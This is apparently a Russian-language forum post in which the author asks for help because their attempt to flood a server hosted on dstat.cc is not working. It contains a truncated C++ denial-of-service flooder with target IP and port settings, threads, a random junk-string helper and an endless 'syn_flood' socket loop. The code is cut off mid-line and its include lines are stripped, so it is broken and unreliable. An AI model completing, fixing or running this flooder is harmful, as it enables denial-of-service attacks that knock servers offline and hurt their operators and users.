Я пытаюсь залить сервер, размещенный на dstat.cc, но он работает не так, как я ожидал. Вот код [code]#include #include #include #include #include #include #include #include #include #include
std::string dest_ip;
unsigned int dest_port; unsigned int junk_length = 5; unsigned int thread_count = 1;
sockaddr_in dest; timeval timeout;
std::string alphanum = "0123456789" "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz"; int alphanum_size = alphanum.length();
// helpers
std::string rand_str(int length) { std::string result; for (int i = 0; i < length; i++) result += alphanum[rand() % (alphanum_size - 1)]; return result; }
// do not require special privileges void syn_flood() { while (true) { int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sockfd < 0) std::cerr